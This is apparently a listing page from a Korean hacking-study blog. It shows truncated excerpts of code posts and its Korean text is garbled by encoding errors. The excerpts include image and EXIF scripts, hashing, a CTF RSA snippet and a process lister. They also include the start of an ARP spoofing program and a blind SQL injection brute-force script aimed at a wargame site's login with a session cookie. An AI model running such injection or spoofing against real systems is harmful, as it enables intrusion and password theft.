728x90 ๋ฐ์ํ Language24 RGB image analysis.py import numpy as npimport mpl_toolkits.mplot3d.axes3d as p3import matplotlib.pyplot as pltimport colorsysfrom PIL import Image # (1) Import the file to be analyzed!img_file = Image.open("sunset.jpg")img = img_file.load() # (2) Get image width & height in pixels[xs, ys] = img_file.sizemax_intensity = 100hues = {} # (3) Examine each pixel in the image filefor x in xrange(0, xs): for y in xrange(0, .. Language 2016. 12. 21. image GPS.py from PIL import Imagefrom PIL.ExifTags import TAGS filename = "sunset.jpg"extension = filename.split('.')[-1]if (extension == 'jpg') | (extension == 'JPG') | (extension == 'jpeg') | (extension == 'JPEG') | (extension == 'PNG') |(extension == 'png'): try: img = Image.open(filename) info = img._getexif() exif = {} for tag, value in info.items(): decoded = TAGS.get(tag, tag) exif[decoded] = value #.. Language 2016. 12. 21. base image.py from PIL import Image img = Image.open("filename.jpg")print(img.size)print(img.format) img.show() Language 2016. 12. 21. python ๊ฐ์ ํ์ผ ๋ฝ์๋ด๊ธฐ :) ์ฌ์ ํ์ผ์ ํ์ผ์ด๋ฆ๊ณผ ํด๋๋ฅผ ์ง์ ํด์ฃผ๋ฉด ์ค๋ณตํ์ผ์ ๋ฝ์์ค๋๋ค :) # -*- coding: utf-8 -*- import os f = open('/Users/z3alous/Desktop/flag1.txt', 'w') Language 2016. 12. 18. md5 ํ๋ฒ์ ์ธ์ฝ๋ฉํ๊ธฐ :) ex)ํด๋์ง์ # -*- coding: utf-8 -*-import hashlibimport os f = open('/Users/z3alous/Desktop/flag.txt', 'w') def md5(fname): hash_md5 = hashlib.md5() with open(fname, "rb") as f: for chunk in iter(lambda: f.read(4096), b""): hash_md5.update(chunk) return hash_md5.hexdigest() for root, dirs, files in os.walk('ํด๋ ๊ฒฝ๋ก'): for fname in files: full_fname = os.path.join(root, fname) f.write(md5(full_fname) + '\n') f.. Language 2016. 12. 18. rsa.py_ctf #๊ฐ๋ฃ์ผ๋ฉด ''์์ ๊ธฐ...p = ''g =''a = ''b = '' C = ''CA = pow(C,a,p)CAB = pow(CA,b,p) print("key_is",CAB) Language 2016. 12. 12. toolhelp #include #include #include#include#include int _tmain(int argc, _TCHAR* argv[]){ /* */HANDLE hProcess = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); PROCESSENTRY32 process;process.dwSize = sizeof(PROCESSENTRY32); _tprintf(_T("%32s %8s %8s %8s\n"), L"[NAME]", L"[PID]", L"[THREAD]", L"[PPID]"); while (Process32Next(hProcess, &process)){_tprintf(_T("%32s %8d %8d %8d\n"),process.szExeFile, // pr.. Language 2015. 9. 24. C์ธ์ด ์ ๋ฆฌ C์ธ์ด์ ์ฅ์ C์ธ์ด๋ ์ ์ฐจ์งํฅ์ ํน์ฑ์ ์ง๋๋ค. ๋๋ฌธ์ ์ต์ํด์ง๋๋ฐ ์ค๋ ์๊ฐ์ด ๊ฑธ๋ฆฌ์ง ์๋๋ค. ์ฆ, ์ ์ฐจ์งํฅ ํ๋ก๊ทธ๋๋ฐ์์ ์ค์ฌ์ด ๋๋ ๊ฒ์ ‘์์’์ด๋ค.C์ธ์ด๋ก ์์ฑ๋ ํ๋ก๊ทธ๋จ์ ์ด์์ฑ์ด ์ข๋ค.C์ธ์ด๋ก ๊ตฌํ๋ ํ๋ก๊ทธ๋จ์ ์ข์ ์ฑ๋ฅ์ ๋ณด์ธ๋ค. C์ธ์ด๋ ๊ธฐ๋ณธ์ ์ผ๋ก ํจ์๋ก ์์ํด์ ํจ์๋ก ๋๋๋ค.int => ์ถ๋ ฅํํ main => ํจ์์ด๋ฆ (void) => ์ ๋ ฅํํ ์์ int์ void๋ ๊ฐ๊ฐ ์ถ๋ ฅ๊ณผ ์ ๋ ฅ์ ํํ๋ฅผ ์ค๋ช ํ๋ ๊ฒ์ด๋ค. ์ฆ, ์ถ๋ ฅ์ ํํ๊ฐ int ์ด๊ณ ์ ๋ ฅ์ ํํ๊ฐ void์ธ main์ด๋ผ๋ ํจ์ C์ธ์ด์ ํจ์ ๋ด์ ์กด์ฌํ๋ ๋ฌธ์ฅ์ ๋์๋ ์ธ๋ฏธ์ฝ๋ก ๋ฌธ์ ;์ ๋ถ์ฌ์ค๋ค. printf ํจ์๋ ํจ์ํธ์ถ ์ ์ ๋ฌ๋๋ ๋ฌธ์์ด์ ๋ชจ๋ํฐ์ ์ถ๋ ฅํ๋ ๊ธฐ๋ฅ์ ์ง๋๋ค. ์ด๋ ์ง์ ๋ง๋ค์ง ์์๋ ํธ์ถ์ด ๊ฐ๋ฅํ, .. Language 2015. 9. 22. arp spoofing.c ํด๋น ๋ธ๋ก๊ทธ๋ ํดํน ๋ฐ ๋ณด์ ๋ธ๋ก๊ทธ๋ก ๊ณต๋ถ ๋ฐ ์ฐ๊ตฌ์ฉ์ผ๋ก ์์ฑ๋์ด์ง๊ณ ์์ต๋๋ค. ์๋์ ๋ด์ฉ์ ๊ธฐ๋ฐ์ผ๋ก ํดํน ์๋ ๋ฐ ์ค์ ๊ณต๊ฒฉ์ ์๋ํ์ฌ ์ผ์ด๋๋ ๋ชจ๋ ์ฑ ์์ ๋ณธ์ธ(๋ฐ๋ผํ์)์๊ฒ ์์์ ์๋ ค๋๋ฆฌ๋ฉฐ, ๊ธ์ด์ด๋ ์๋ฌด๋ฐ ์ฑ ์์ ์ง์ง ์์ต๋๋ค. ๊ผญ ๊ณต๋ถ ๋ฐ ์ฐ๊ตฌ์ฉ์ผ๋ก๋ง ์ฌ์ฉํ์ฌ ์ฃผ์๊ธธ ๋ฐ๋๋๋ค. ๊ฐ์ฌํฉ๋๋ค. #include "Arp.h" int main(int argc, char **argv) { pcap_if_t *alldevs; pcap_if_t *d; int inum; pcap_t *adhandle; char packet_filter[] = ""; struct bpf_program fcode; u_int netmask; pcap_t *fp; char errbuf[PCAP_ERRBUF_SIZE]; int .. Language 2015. 9. 8. Mac Capture.c #define WPCAP #define HAVE_REMOTE #include "pcap.h" #include #include typedef struct arphdr { u_char DMac[6]; // target hardware address u_char SMac[6]; // sender hardware address u_int16_t type; // operation code u_char ver_ihl; // Version (4 bits) + Internet header length (4 bits) u_char tos; // Type of service u_short tlen; // Total length u_short identification; // I.. Language 2015. 9. 8. blind sql injection.py #http2,1)%3C%27N%27)--+&pw=adminimport urllibimport urllib2 ans =""ans2="" for i in range(1,11): for j in range(33,127) : url1 = "http://suninatas.com/Part_one/web22/web22.asp?id=admin'+and(substring(pw," url1=url1+str(i)+",1)='" url1=url1+chr(j)+"')--+&pw=1" try: #print url1; req = urllib2.Request(url1) req.add_header('cookie',"ASPSESSIONIDSSATDDSQ=EMNOHBMDIHNLAAFFOHICOODE") res = urllib2.urlop.. Language 2015. 9. 8. base 64 encoding import base64 str64="0cc175b9c0f1b6a831c399e2697726618277e0910d750195b448797616e091ad6f8f57715090da2632453988d9a1501b865c0c0b4ab0e063e5caa3387c1a87417b8b965ad4bca0e41ab51de7b31363a1d41d8cd98f00b204e9800998ecf8427e" # base 64๊ตฌ๋ฌธstr64=base64.b64encode(str64.encode('ascii'))for i in range(1,11): str64=base64.encodestring(str64) str64=str64.decode("utf-8")print(str64.replace("\n","")) Language 2015. 9. 8. ์ด์ 1 2 ๋ค์ 728x90 ๋ฐ์ํ